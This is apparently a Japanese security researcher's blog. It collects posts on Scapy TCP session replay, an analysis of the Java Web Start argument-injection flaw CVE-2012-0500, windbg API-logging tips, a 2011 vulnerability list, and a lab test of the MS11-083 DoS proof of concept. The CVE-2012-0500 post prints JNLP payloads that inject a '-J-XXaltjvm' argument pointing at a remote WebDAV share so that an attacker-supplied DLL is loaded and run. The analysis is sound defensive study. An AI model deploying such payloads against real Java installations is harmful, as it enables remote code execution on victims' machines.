ScapyでpcapファイルのTCPシーケンスを再現する

Scapyを使って、PCAP形式ファイル(以降、pcapファイル)に記録されたTCPシーケンスを再現できないか試してみました。結論としては、それなりにTCPシーケンスを再現できた、という感じでしょうか。きちんとTCPシーケンスを再現できるとは思いませんが、「同じTCPセッションを再現したい」ときの一つの方法としてメモしておきます。

ちなみに、普段コードを書いていないため、Pythonスクリプトには自信がないです(--; 間違い等がありましたら、ご指摘いただけると嬉しいです。

動作環境

TCPシーケンスを再現させた動作環境は下図の通りです。ノートPCからルータのWeb管理画面にアクセスしたときのHTTP通信をpcapファイルに保存して、それをScapyで再現しました。使用したpcapファイルをここにおいておきます。

ScapyによるTCPシーケンスの再現

まずScapyを送信するパケットを、pcapファイルから切り出します。送信元IPアドレス(192.168.0.104)を基にフィルタして、別途pcapファイルに保存します。以下のPythonスクリプトで、このpcapファイルを送信します。

このPythonスクリプトは、次の流れで動作します。

  1. パケットからIPおよびTCPヘッダのチェックサムを削除する(チェックサムを再計算させるため)。
  2. iptablesにRSTパケットを破棄するルールを追加する(SANS Diary の記事*1を参照)。
  3. TCPシーケンスのパケットを一つずつ送信する。
    1. multi、timeoutパラメータを付与して、srp()を実行する。
    2. SYN-ACKパケットを受信した場合:
      • 次に送信するパケットのACK番号=受信したTCPパケットのシーケンス番号+1
    3. SYN-ACKパケット以外を受信した場合:
      • 次に送信するパケットのACK番号=シーケンス受信したパケットのうち最も大きいシーケンス番号+TCPペイロード
  4. iptablesから2で追加したルールを削除する。
#!/usr/bin/env python

import os
from scapy.all import *

packets=rdpcap("./192.168.0.1_http_src.pcap")

### 1
for i in range(len(packets)):
	del(packets[i][IP].chksum)
	del(packets[i][TCP].chksum)

### 2
rstrule="-p tcp --sport " + str(packets[0].sport) + " --tcp-flags RST RST -j DROP"
os.system("iptables -A OUTPUT " + rstrule)

### 3
acknum = 0
for i in range(len(packets)):
	try:
		### 3.1
		ans,unans = srp(packets[i],multi=1,timeout=0.1)

		if len(packets) == i+1:
			break

		if len(ans) == 0:
			packets[i+1][TCP].ack = acknum
		else:
			for j in range(len(ans)):
				### 3.2
				if ans[j][1][TCP].flags == 18:
					packets[i+1][TCP].ack = ans[j][1][TCP].seq+1
					acknum = packets[i+1][TCP].ack
					break;

				### 3.3
				if ans[j][1][TCP].seq >= acknum:
					if "Raw" in ans[j][1]:
						packets[i+1][TCP].ack = ans[j][1][TCP].seq+len(ans[j][1][Raw])
					else:
						packets[i+1][TCP].ack = ans[j][1][TCP].seq
					acknum = packets[i+1][TCP].ack
	except:
		print traceback.format_exc(sys.exc_info()[2])
		break;

### 4
os.system("iptables -D OUTPUT " + rstrule)


上記Pythonスクリプトを実行すると、次のような結果となります。ScapyによるTCPシーケンスを再現したときに改めてパケットキャプチャを実施しました。そのときのpcapファイルをここにおいておきます。いくつかのパケットもロストしていますね:(

root@root:~# python -V
Python 2.6.5
root@root:~# python tcpsess_replay.py
Begin emission:
Finished to send 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
Begin emission:
Finished to send 1 packets.

Received 0 packets, got 0 answers, remaining 1 packets
Begin emission:
Finished to send 1 packets.
****
Received 4 packets, got 4 answers, remaining 0 packets
(snip)
Received 0 packets, got 0 answers, remaining 1 packets
Begin emission:
Finished to send 1 packets.

Received 0 packets, got 0 answers, remaining 1 packets

おまけ:Scapyメモ

Scapyについては、下記にドキュメントがあります。

個人的にメモしておきたい点だけ以下にまとめました。ls(), lsc() だけ忘れなければ、それらの出力結果からドキュメントを調べればよいと思いました。

root@root:~# scapy
Welcome to Scapy (2.1.0)
>>> 

>>> ls()
ARP        : ARP
ASN1_Packet : None
BOOTP      : BOOTP
CookedLinux : cooked linux
DHCP       : DHCP options
DHCP6      : DHCPv6 Generic Message)
(snip)

>>> lsc()
arpcachepoison      : Poison target's cache with (your MAC,victim's IP) couple
arping              : Send ARP who-has requests to determine which hosts are up
bind_layers         : Bind 2 layers on some specific fields' values
corrupt_bits        : Flip a given percentage or number of bits from a string
corrupt_bytes       : Corrupt a given percentage or number of bytes from a string
defrag              : defrag(plist) -> ([not fragmented], [defragmented],
(snip)

>>> ls(IP)
version    : BitField             = (4)
ihl        : BitField             = (None)
tos        : XByteField           = (0)
len        : ShortField           = (None)
id         : ShortField           = (1)
flags      : FlagsField           = (0)
frag       : BitField             = (0)
ttl        : ByteField            = (64)
proto      : ByteEnumField        = (0)
chksum     : XShortField          = (None)
src        : Emph                 = (None)
dst        : Emph                 = ('127.0.0.1')
options    : PacketListField      = ([])
>>> ls(TCP)
sport      : ShortEnumField       = (20)
dport      : ShortEnumField       = (80)
seq        : IntField             = (0)
ack        : IntField             = (0)
dataofs    : BitField             = (None)
reserved   : BitField             = (0)
flags      : FlagsField           = (2)
window     : ShortField           = (8192)
chksum     : XShortField          = (None)
urgptr     : ShortField           = (0)
options    : TCPOptionsField      = ({})

>>> help(rdpcap)

Help on function rdpcap in module scapy.utils:

rdpcap(filename, count=-1)
    Read a pcap file and return a packet list
    count: read only <count> packets

*1:"Second, because these are crafted packet, the real TCP stack on your host will send RESETS to the unexpected responses. You have to add some IPTABLES rules to block these RESETS from the real TCP stack."という記述があります

Java Web Startの脆弱性(CVE-2012-0500)を調べてみる

NTTデータ先端技術の検証レポートをきっかけに CVE-2012-0500 に興味を持ったので、Metasploit Framework モジュール「java_ws_vmargs」(以降、「java_ws_vmargs」)をもとに調べました。この調べた結果をもとに「どんな脆弱性か」、「どうしてシェルコードを実行できてしまうのか」を自分なりに整理してみました。間違い等があったらコメントください。

どんな脆弱性

僕は CVE-2012-0500 を次の脆弱性と判断しました。

CVE-2012-0500 は「Java Web Start(javaws.exe)による Java アプリケーション(javaw.exe)起動時の引数におけるエスケープ処理の不備」である。この脆弱性を悪用すると、Java アプリケーションに任意の引数を追加できる。

この判断に至る流れを、「問題のない JNLP ファイルからの Java アプリケーションの起動」、「『java_ws_vmargs』が生成する JNLP ファイルからの Java アプリケーションの起動」の順にみていきます。

問題のない JNLP ファイルからの Java アプリケーションの起動

まず、Java Web Start がどのように Java アプリケーションを起動するか確認するため、問題のない JNLP ファイルで Java Web Start を実行してみました。

Java Runtime Environment(JRE) 1.6.30 をインストールした Windows XP Service Pack 3(SP3) で、C:\cve-2012-0500\sample.jnlp(以下)をダブルクリックで開きました。sample.jnlp をダブルクリックで開くと「javaws.exe 」が実行され、javaws.exe が「javaw.exe」を実行しました。結果として javaw.exe は [アプリケーションエラー]ウインドウが起動して終了しました。

<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1">
<information>
   <title>nhUjkBZLZxG</title>
   <vendor>hKbQFJXCIgEdqEvaTI</vendor>
   <description>oGeydGWTKfWMsMvmz</description>
</information>
<resources>
   <java version="1.3+" initial-heap-size="512m" />
</resources>
</jnlp>

このとき、Process Explorer で javaw.exe のプロセスを確認したところ、次のコマンドラインが実行されていました。JNLP ファイル中の java 要素の「initial-heap-size」属性の値 512m が、引数「-Xms」や「-Djnlpx.heapsize」に展開されていることが分かります。

"C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" "-Xbootclasspath/a:C:\\Program Files\\Java\\jre6\\lib\\javaws.jar;C:\\Program Files\\Java\\jre6\\lib\\deploy.jar;C:\\Program Files\\Java\\jre6\\lib\\plugin.jar" -classpath "C:\\Program Files\\Java\\jre6\\lib\\deploy.jar" "-Djava.security.policy=file:C:\\Program Files\\Java\\jre6\\lib\\security\\javaws.policy" -DtrustProxy=true -Xverify:remote "-Djnlpx.home=C:\\Program Files\\Java\\jre6\\bin" -Dsun.awt.warmup=true -Djnlpx.origFilenameArg=C:\cve-2012-0500\sample.jnlp -Djnlpx.remove=true -Xms512m -Djnlpx.heapsize=512m,NULL -Djnlpx.splashport=1068 "-Djnlpx.jvm=C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" com.sun.javaws.Main C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\javaws5


続いて、sample.jnlp の「initial-heap-size」属性の値を変更して C:\cve-2012-0500\sample04.jnlp(後述)を作成しました。この sample04.jnlp では「initial-heap-size」属性の値として「512m" -J-XXaltjvm=\192.168.0.101\yy21JFn1ASBSe "」を指定しています。
sample04.jnlp を sample.jnlp と同じように開きました。この結果、sample.jnlp と同じように「javaw.exe」が実行されましたが、[Could not create the Java Virtual machine.] というエラーメッセージが出力されました。

<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1">
<information>
   <title>nhUjkBZLZxG</title>
   <vendor>hKbQFJXCIgEdqEvaTI</vendor>
   <description>oGeydGWTKfWMsMvmz</description>
</information>
<resources>
   <java version="1.3+" initial-heap-size='512m" -J-XXaltjvm=\192.168.0.101\yy21JFn1ASBSe "' />
</resources>
</jnlp>

Process Explorer で「javaw.exe」のプロセスを確認したところ、次のコマンドラインが実行されていました。「initial-heap-size」属性の値「512m" -J-XXaltjvm=\192.168.0.101\yy21JFn1ASBSe "」のうち、「"」と「\」がそれぞれエスケープされていること*1を確認できました。

"C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" "-Xbootclasspath/a:C:\\Program Files\\Java\\jre6\\lib\\javaws.jar;C:\\Program Files\\Java\\jre6\\lib\\deploy.jar;C:\\Program Files\\Java\\jre6\\lib\\plugin.jar" -classpath "C:\\Program Files\\Java\\jre6\\lib\\deploy.jar" "-Djava.security.policy=file:C:\\Program Files\\Java\\jre6\\lib\\security\\javaws.policy" -DtrustProxy=true -Xverify:remote "-Djnlpx.home=C:\\Program Files\\Java\\jre6\\bin" -Dsun.awt.warmup=true -Djnlpx.origFilenameArg=C:\cve-2012-0500\sample04.jnlp -Djnlpx.remove=true "-Xms512m\" -J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe \"" "-Djnlpx.heapsize=512m\" -J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe \",NULL" -Djnlpx.splashport=1076 "-Djnlpx.jvm=C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" com.sun.javaws.Main C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\javaws5

以上のことから、Java アプリケーションの引数に「"」や「\」などの特殊文字を含む文字列が指定された場合、それらをエスケープしていれば問題ないと言えます。

java_ws_vmargs」が生成する JNLP ファイルからの Java アプリケーションの起動

では、「java_ws_vmargs」が生成する JNLP ファイル(後述)の場合はどうでしょうか。この JNLP ファイル(以降、cve-2012-0500.jnlp)では、java 要素の「initial-heap-size」属性の値に「512m" -J-XXaltjvm=\192.168.0.101\yy21JFn1ASBSe "」、別の java 要素の「java-vm-args」属性の値に「-Dhttp.agent=jqUBuiZmM"」を設定しています。

この cve-2012-0500.jnlp をダブルクリックで開いてみました。同じように「javaw.exe」が実行され、このとき [Error: no `\\192.168.0.101\\yy21JFn1ASBSe' JM at `\\192.168.0.101\\yy21JFn1ASBSe\jvm.dll'] というエラーメッセージが出力されました。実際に「java_ws_vmargs」を実行して、exploit に成功するとシェルコードが実行されてしまいました(興味がある方は参考情報のデモ動画を参照してください)。

<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1">
<information>
   <title>nhUjkBZLZxG</title>
   <vendor>hKbQFJXCIgEdqEvaTI</vendor>
   <description>oGeydGWTKfWMsMvmz</description>
</information>
<resources>
   <java version="1.3+" initial-heap-size='512m" -J-XXaltjvm=\192.168.0.101\yy21JFn1ASBSe "' />
</resources>
<resources><java java-vm-args='-Dhttp.agent=jqUBuiZmM"' /></resources>
</jnlp>

このとき Process Explorer で「javaw.exe」のプロセスを確認したところ、次のコマンドラインが実行されていました。「-Dhttp.agent=jqUBuiZmM"」の「"」がエスケープされずにそのまま出力されていました。この「"」が「javaw.exe」の引数に挿入されることで、「-Dhttp.agent=jqUBuiZmM"」以降の引数の「"」の組み合わせが崩れ、「-J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe」が引数として認識されてしまうわけです。

"C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" "-Xbootclasspath/a:C:\\Program Files\\Java\\jre6\\lib\\javaws.jar;C:\\Program Files\\Java\\jre6\\lib\\deploy.jar;C:\\Program Files\\Java\\jre6\\lib\\plugin.jar" -classpath "C:\\Program Files\\Java\\jre6\\lib\\deploy.jar" "-Djava.security.policy=file:C:\\Program Files\\Java\\jre6\\lib\\security\\javaws.policy" -DtrustProxy=true -Xverify:remote "-Djnlpx.home=C:\\Program Files\\Java\\jre6\\bin" -Dsun.awt.warmup=true -Djnlpx.origFilenameArg=C:\cve-2012-0500\cve-2012-0500.jnlp -Djnlpx.remove=true -Dhttp.agent=jqUBuiZmM" "-Xms512m\" -J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe \"" "-Djnlpx.heapsize=512m\" -J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe \",NULL" -Djnlpx.splashport=1051 "-Djnlpx.jvm=C:\\Program Files\\Java\\jre6\\bin\\javaw.exe" -Djnlpx.vmargs=-Dhttp.agent=jqUBuiZmM" com.sun.javaws.Main C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\javaws6

どうしてシェルコードを実行できてしまうのか

Java アプリケーションの引数に「-J-XXaltjvm=\\192.168.0.101\\yy21JFn1ASBSe」を追加でき、シェルコードを実行できてしまいました。

「-J-XXaltjvm」を調べてみると、次の情報を確認しました。

java.exe and javaw.exe support an undocumented-hidden command-line parameter "-XXaltjvm" and curiosly also "-J-XXaltjvm" (see -J switch in javaws.exe). This instructs Java to load an alternative JavaVM library (jvm.dll or libjvm.so) from the desired path.

http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1

実際に Java アプリケーション(javaw.exe)の引数に「-J-XXaltjvm」オプションを指定して実行してみました。このとき「-J-XXaltjvm」オプションの値には、電卓プログラム(calc.exe)を起動するだけの jvm.dll*2を含むフォルダ C:\cve-2012-0500 を指定しました。エラーが発生するものの、電卓プログラムが起動してしまいました。

以上のことから「-J-XXaltjvm」オプションで実行したい jvm.dll を含むフォルダを指定すると、その jvm.dll が実行できるわけですね。

「-J-XXaltjvm」オプションでリモートの DLL ファイルを指定する

CVE-2012-0500 を悪用して「-J-XXaltjvm」オプションを追加することで jvm.dll を実行する場合、jvm.dll として攻撃者の制御下にあるものを指定する必要があります。そうでなければ任意のコードを実行できません。

java_ws_vmargs」では「\」がエスケープされることを利用して、WebDAV フォルダ(このブログ記事中の JNLP ファイルでは \\192.168.0.101\\yy21JFn1ASBSe)を指定していました。WebDAV フォルダではなく、URL を指定できないか確認してみました。

「-J-XXaltjvm」の値に「http://192.168.0.101/aaa」を指定して、Java 仮想マシンを実行してみました。実行した結果、http://192.168.0.101/aaa への HTTP リクエストが送信されませんでした(下図)。このことから、「-J-XXaltjvm」オプションには URL を指定できないようです。

調べきれていないこと

次のことについてはきちんと調べきれていません。

  • JRE 1.6.30 をインストールした Windows 7 SP1 上では「java_vm_args」による exploit が成功しない。
    • 「-J-XXaltjvm」オプションの挿入には成功している。
    • WebDAV フォルダへのリクエストが発生しない。

所感

java_ws_vmargs」を基に調べてみると、TSL20120214-01 の「Oracle Java Web Start Command Argument Injection Remote Code Execution」という脆弱性名がとても適切な表現だと思いました。Mac OS X を狙ったマルウェア「Flashback」の亜種が JRE脆弱性を悪用して感染することが発覚*3するなど、JRE に関連する脆弱性は影響範囲が広いですね:( JRE脆弱性の実証コードが公開された場合、きちんと確認していきたいです。

*1:コマンドラインエスケープ処理については、「cmd.exe のコマンドラインの仕様を解析してみた」を参考にさせていただきました。

*2:http://pastie.org/1191532 をビルドして使いました。

*3:無題なブログ:Mac OS X Flashbackウイルス と Javaエクスプロイト」を参照してください。

windbgのLogger Extensionと「bp」コマンドにおけるコマンド実行

windbg における 2 つの小ネタをメモしておきます。

この日記における windbg の実行環境は以下の通りです。User-Mode におけるデバックとなります。

コンポーネント バージョン情報
OS Windows XP SP3*1
windbg 6.12.0002.633

Logger Extension(logexts.dll)

windbg拡張機能には、Logger Extension(logexts.dll)があります。この機能を使うと、windbgデバッグするプログラムの Windows API 呼び出し(引数、戻り値を含む)を記録できます(すべての API 呼び出しを記録できるか分かりません)。以下に MSDN の文章を引用します。

Logger can monitor the actions of a user-mode target application and record all of its API calls. The resulting information can be displayed in the debugger, saved as a text file, or displayed in a powerful interactive format by the LogViewer tool.

Logger and LogViewer - Windows drivers | Microsoft Docs

試しに DLL Hijacking のブログ記事で使った Mozilla Firefox 3.5.8 を windbg で起動して、LoadLibrary 関数呼び出しを記録してみます。

LoadLibrary 関数呼び出しの記録

[File]メニューの[Open Executable]にて firefox.exe を起動します。

CommandLine: "C:\Program Files\Mozilla Firefox\firefox.exe"
Symbol search path is: SRV*c:\websymbols*http://msdl.microsoft.com/download/symbols
Executable search path is: 
ModLoad: 00400000 004e0000   firefox.exe
ModLoad: 7c940000 7c9df000   ntdll.dll
ModLoad: 7c800000 7c933000   C:\WINDOWS\system32\kernel32.dll
(略)
ModLoad: 770d0000 7715b000   C:\WINDOWS\system32\OLEAUT32.dll
ModLoad: 7c420000 7c4cf000   C:\Program Files\Mozilla Firefox\MOZCPP19.dll
ModLoad: 003e0000 003e7000   C:\Program Files\Mozilla Firefox\xpcom.dll
(874.864): Break instruction exception - code 80000003 (first chance)
eax=00191eb4 ebx=7ffdf000 ecx=00000003 edx=00000008 esi=00191f48 edi=00191eb4
eip=7c94120e esp=0012fb20 ebp=0012fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c94120e cc              int     3


Logger Extension で LoadLibrary関数呼び出し(LoadLibrary だけではないけど)を記録する手順は、以下の通りです。各コマンドの詳細は、「!logexts.help」で確認できます。この手順では、windbg の実行結果を適宜編集しています。文頭が // の文は僕のコメントとなります。

// Logger Extension のロード
0:000> !load logexts

// テキストファイルへの出力の有効化 
0:000> !logo e t

Windows API Logging Extensions  v3.01
Parsing the manifest files...
Location: C:\Program Files\Debugging Tools for Windows (x86)\winext\manifest\main.h
   Parsing file "main.h" ...
   Parsing file "winerror.h" ...
   Parsing file "kernel32.h" ...
(略)
   Parsing file "d3d8caps.h" ...
   Parsing file "dsound.h" ...
Parsing completed.
  Debugger            Disabled
  Text file           Enabled
  Verbose log         Enabled

// LoadLibrary関数を含むカテゴリ「ProcessAndThreads」の記録のみ有効化
0:000> !logc d *
All categories disabled.
0:000> !logc e 19
 19 ProcessesAndThreads             Enabled

// Windows API 呼び出しの記録の開始(出力先:C:\windbg_logext_dir) 
0:000> !loge C:\windbg_logext_dir
Logexts injected. Output: "C:\windbg_logext_dir\LogExts\"
Logging enabled.

// ここで「g」コマンドを実行する。


windbgFirefox を実行すると、「C:\windbg_logext_dir\LogExts」フォルダに firefox.exe.txt と firefox.exe.lgv が生成されます。firefox.exe.txt には、以下のようなログが記録されています。この記録から LoadLibrary関数のみ抽出すると、こうなります。

Thrd 864 00401C44 GetCurrentProcessId() -> 0x00000874
Thrd 864 00401C4C GetCurrentThreadId() -> 0x00000864
Thrd 864 78133B81 GetModuleFileNameW( NULL 0x00000104) -> 0x0000002C ( "C:\Program Files\Mozilla Firefox\firefox.exe")
Thrd 864 7813E268 GetEnvironmentStringsW() -> "ALLUSERSPROFILE=C:\Documents and Settings\All Users"
Thrd 864 7813E2F7 FreeEnvironmentStringsW( "ALLUSERSPROFILE=C:\Documents and Settings\All Users") -> TRUE
Thrd 864 00401024 LoadLibraryExA( "ntdll.dll" NULL 0x00000000) -> 0x7C940000
(略)


ただ、Logger Extension ですべての Windows API 呼び出しを記録できるか疑問があります。Mozilla Firefox 3.6.8 には dwmapi.dll を呼び出すときに DLL Hijacking の問題がありますが、Logger Extension ではその LoadLibrary関数呼び出しを記録していませんでした。後述の「bp」コマンドにおけるコマンド実行、および「Process Monitor」のスタックトレース(下図)では LoadLibraryW 関数で dwmapi.dll を読み込んでいることを確認しています。

「bp」コマンドにおけるコマンド実行

windbg にはブレイクポイントを設定する「bp」コマンドがあります。この「bp」コマンドではブレイクすると同時に特定のコマンドを実行する使用方法があります。以下に MSDN の文章を引用します。

User-Mode
[~Thread] bp[ID] [Options] [Address [Passes]] ["CommandString"]
(略)
CommandString
Specifies a list of commands that are executed every time that the breakpoint is encountered the specified number of times. You must enclose the CommandString parameter in quotation marks. Use semicolons to separate multiple commands.


Debugger commands in CommandString can include parameters. You can use standard C-control characters (such as \n and \"). Semicolons that are contained in second-level quotation marks (\") are interpreted as part of the embedded quoted string.


The CommandString commands are executed only if the breakpoint is reached while the application is executing in response to a g (Go) command. The commands are not executed if you are stepping through the code or tracing past this point.


Any command that resumes program execution after a breakpoint (such as g or t) ends the execution of the command list.

bp, bu, bm (Set Breakpoint) - Windows drivers | Microsoft Docs

Logger Extension と同様に、「bp」コマンドを使って Mozilla Firefox 3.5.8 における LoadLibrary 関数呼び出しを記録してみます。

LoadLibrary 関数呼び出しの記録

Logger Extension の場合と同様に、windbgfirefox.exe を起動します。「bp」コマンドを設定して実行すると、以下のような結果が得られます。

0:000> bp kernel32!LoadLibraryA ".printf \"++++++++++ LoadLibraryA\\n+++ StackTrace\\n\"; kb; .printf \"\\n+++ First Argument(dump string)\\n\"; dW poi(esp+4); .printf \"\\n++++++++++\\n\";"

// ここで「g」コマンドを実行する。
0:000> g
ModLoad: 60740000 60749000   C:\WINDOWS\system32\LPK.DLL
ModLoad: 5b5d0000 5b5d8000   C:\WINDOWS\system32\rdpsnd.dll
ModLoad: 762b0000 762c0000   C:\WINDOWS\system32\WINSTA.dll
ModLoad: 59250000 592a5000   C:\WINDOWS\system32\NETAPI32.dll
ModLoad: 76ba0000 76bab000   C:\WINDOWS\system32\PSAPI.DLL
++++++++++ LoadLibraryA
+++ StackTrace
ChildEBP RetAddr  Args to Child              
0012f940 73f9e23f 73f81840 73f9e439 7c9657e5 kernel32!LoadLibraryA
0012f9e8 73f9e40d 0012fa10 7c94118a 73f80000 USP10!UspProcessAttach+0x1f
0012f9f0 7c94118a 73f80000 00000001 0012fd30 USP10!_DllMain+0x1d
0012fa10 7c95b5d2 73f9e439 73f80000 00000001 ntdll!LdrpCallInitRoutine+0x14
0012fb18 7c95fbdc 0012fd30 7ffde000 7ffdf000 ntdll!LdrpRunInitializeRoutines+0x344
0012fc94 7c95fad7 0012fd30 7c940000 0012fce0 ntdll!LdrpInitializeProcess+0x114b
0012fd1c 7c94e457 0012fd30 7c940000 00000000 ntdll!_LdrpInitialize+0x183
00000000 00000000 00000000 00000000 00000000 ntdll!KiUserApcDispatcher+0x7

+++ First Argument(dump string)
73f81840  6467 3369 2e32 6c64 006c 0000 0000 0000  gdi32.dll.......
73f81850  6e69 7469 656d 6964 6966 616e 7369 6c6f  initmedifinaisol
73f81860  696c 6167 736d 7465 0404 0404 0404 0404  ligamset........
73f81870  0404 0404 0404 0404 0404 0404 0404 0404  ................
73f81880  0404 0404 0404 0404 0404 0202 0202 0201  ................
73f81890  0201 0101 0101 0201 0202 0102 0101 0101  ................
73f818a0  0101 0401 0404 0404 0101 0101 0101 0101  ................
73f818b0  0102 0801 0808 0808 0808 0808 0808 0404  ................

++++++++++
eax=00005b9d ebx=73f9e439 ecx=0012f99c edx=7c94e514 esi=0012fa04 edi=00000001
eip=7c801d7b esp=0012f944 ebp=0012f9e8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
kernel32!LoadLibraryA:
7c801d7b 8bff            mov     edi,edi


この「bp」コマンドでは、CommandString として ".printf \"++++++++++ LoadLibraryA\\n+++ StackTrace\\n\"; kb; .printf \"\\n+++ First Argument(dump string)\\n\"; dW poi(esp+4); .printf \"\\n++++++++++\\n\";" を設定します。
この CommandString では、以下の 5 つのコマンドを連続で実行します。この CommandString ではコマンドを実行した後にブレイクしますが、「g」コマンドを連結することで CommandString 実行後すぐにデバッグを再開できます。

  1. .printf」コマンドによる文字列の出力
  2. kb」コマンドによるスタックトレースの出力
  3. 「.printf」コマンドによる文字列の出力
  4. dW」コマンドによる LoadLibrary関数の第一引数のメモリ内容の出力
    • poi」コマンドで、レジスタESP値+4 の DWORD 値を参照する。
  5. 「.printf」コマンドによる文字列の出力

参考情報

*1:2011年12月29日時点の最新パッチを適用済み。VMware Player 4.0.0 上で動作させています。

2011年における気になった脆弱性をまとめてみた

早いもので2011年ももうすぐ終わります。今年もちまちま脆弱性情報や事件などをはてぶに記録していました(kaito834の2011年タグ)。2011年の振り返りをかねて、僕が把握している範囲で個人的に気になった脆弱性をまとめてみます。
なお、必要があれば適宜更新する予定です。記事末尾の更新履歴をご参照ください。

はじめに

対象とする脆弱性

この日記で取り上げる脆弱性は、以下の 3 つの項目すべてを満たしたものとします。個人のブログで、2011 年に発見された脆弱性を網羅的にまとめるのは荷が重いので、この程度としました。

  • CVE番号が割り当てられている。
  • 2011年に修正、または発見、報告された。
  • 以下のどちらかに該当する。
    • 「過去僕がはてぶにブックマークした」
    • 「ブクマしていないけど、(主観から)これは入れておきたいと思った」
この日記を読むうえでの注意点
  • この日記では、2011年に発見された脆弱性を網羅していません。
  • この日記で取り上げているソフトウェアには偏りがあります。著名なサーバソフトウェアやブラウザ経由での攻撃に悪用されやすいソフトウェアを中心に取り上げています。
  • この日記で取り上げた脆弱性の詳細については関連情報を参照してください。

以上をふまえて、2011年における脆弱性の振り返りの参考にしていただければと思います。

2011年における気になった脆弱性一覧

CVE番号 対象ソフトウェア ゼロデイ 脆弱性の悪用
2月 CVE-2010-4476 Java Runtime Environment(JRE) - -
2月 CVE-2010-3970 Windows -
2月 CVE-2010-3971 Internet Explorer
3月 CVE-2011-0609 Adobe Flash Player/Adobe Reader
4月 CVE-2010-3190 Visual Studio(MFC) - -
4月 CVE-2011-0611 Adobe Flash Player/Adobe Reader
4月 CVE-2011-1717 AndroidSkype - -
4月 CVE-2011-1823 Android
5月* CVE-2011-2344 Android - -
6月 CVE-2011-2107 Adobe Flash Player
6月 CVE-2011-1331 一太郎
6月 CVE-2011-2100 Adobe Reader -
6月 CVE-2011-2110 Adobe Flash Player
7月 CVE-2011-2464 BIND - -
7月 CVE-2011-0226 iOS - -
7月 CVE-2011-0227 iOS - -
7月* CVE-2010-4832 Android - -
8月* CVE-2011-3192 Apache HTTP Server -
9月* CVE-2011-3389 SSL/TLS Protcol - -
9月 CVE-2011-2444 Adobe Flash Player
10月 CVE-2011-3975 HTC社 Android端末 - -
10月 CVE-2011-3426 Safari on iOS - -
10月 CVE-2011-3224 Mac OS X - -
10月 CVE-2011-3440 iOS - -
10月 CVE-2011-3544 Java Runtime Environment(JRE) -
11月* CVE-2011-3402 Windows
11月 CVE-2011-2013 Windows - -
11月 CVE-2011-3442 iOS - -
11月 CVE-2008-3434 iTunes -
11月* CVE-2011-4313 BIND - -
12月 CVE-2011-0291 BlackBerry PlayBook tablet - -
12月* CVE-2011-4161 HP製プリンタ - -
12月 CVE-2011-2462 Adobe Reader
12月 CVE-2011-3414 ASP.NET - -
12月 CVE-2011-4862 FreeBSD telnetd

[月]列には、基本的にその脆弱性が修正された月を記入しています。脆弱性が修正された月ではなく、その脆弱性が発見、報告された月を記入する場合は、「●月*」としています。
[CVE番号]列には、その脆弱性のCVE番号を記入しています。
[対象ソフトウェア]列には、その脆弱性の影響を受けるソフトウェアを記入しています。
[ゼロデイ]列には、ゼロデイ攻撃の有無を記述しています。ソフトウェア開発元の情報などで攻撃から脆弱性が発覚した場合には「○」、そうではない場合には「-」を記入しています。
[脆弱性の悪用]列には、第三者によるマルウェア、攻撃などでの脆弱性の悪用有無を記入しています。脆弱性の悪用が確認されている場合には「○」、そうではない場合には「-」を記入しています。[ゼロデイ]列が「○」の場合、自動的にこの列は「○」となっています。

脆弱性の関連情報

CVE-2011-0291:BlackBerry PlayBook tablet

更新履歴

2011年12月12日 23:25頃

CVE-2011-2464 とその関連情報を追記しました(更新前のウェブ魚拓)。@OrangeMorishita さんから情報をいただきました。

2011年12月31日 02:15頃

以下を追記しました(更新前のウェブ魚拓)。

  • CVE-2011-3402 の関連情報に MS11-087 のリンク
  • CVE-2011-2462 の関連情報に APSB11-30 のリンク
  • CVE-2011-4862 とその関連情報
  • CVE-2011-3414 とその関連情報

MS11-083(CVE-2011-2013)の実証コードを試してみた

2011年11月、Microsoftから修正プログラムMS11-083が提供されました。MS11-083が公開された当初、MS11-083で修正されたCVE-2011-2013は、オープンしていないUDPポートにパケットを送信することで悪用できることから気になりました。しかし、その脆弱性の公表からしばらく経つと、「2^32だけUDPパケットを送信する必要がある」とか「脆弱性の悪用まで52日かかる*1」などの情報がでてきました。その後、実証コードがリリースされたことから、「実際にどんなものか」と思い、試してみました。

実証結果

5 日間と 10 時間、実証コードを実行し続けましたが、DoS 状態(ここでは Blue Screen of Death を想定)が再現しませんでした。ですが、実証コードを実行し続ける間、Victim には負荷がかかり続けます。またExploit Shopのブログ記事で書かれている Step1 から Step3 までを 2 回試みましたが、DoS 状態が再現しませんでした。

実証結果からの感想

僕の実証環境では、2^32 だけ UDP パケットを送信すること自体、1日弱で達成できました(「netstat -s -p udp」の結果から判断)。ただ、UDP クローズポートのパケット受信数が 0 に wrap around したときに、ICMP ECHO REQUEST を Victim に送り込むのは相当難しいと感じます。実証コードでは、何度も何度も wrap around させて、そのタイミングを狙えるように、250 スレッドで UDP パケットを送り続けると同時に ICMP ECHO REQUEST を送るよう書かれていると理解しました。


以降、実証環境、実証手順および実証時の Victim の様子をまとめます。興味がある方はどうぞ。

実証環境

実証環境は下図の通りです。Attacker で実証コードを実行して、Victim の 80/udp に対してパケットを送信しました。

実証コードには、PacketStorm で公開されている こちらを使用しました。シェルスクリプトで書かれているため、まず実行して winnuke2011, ping.sh を作成し、実際には winnuke2011 を実行することとしました。この日記で特に補足なく「実証コード」と書いた場合、この winnuke2011 を指します。

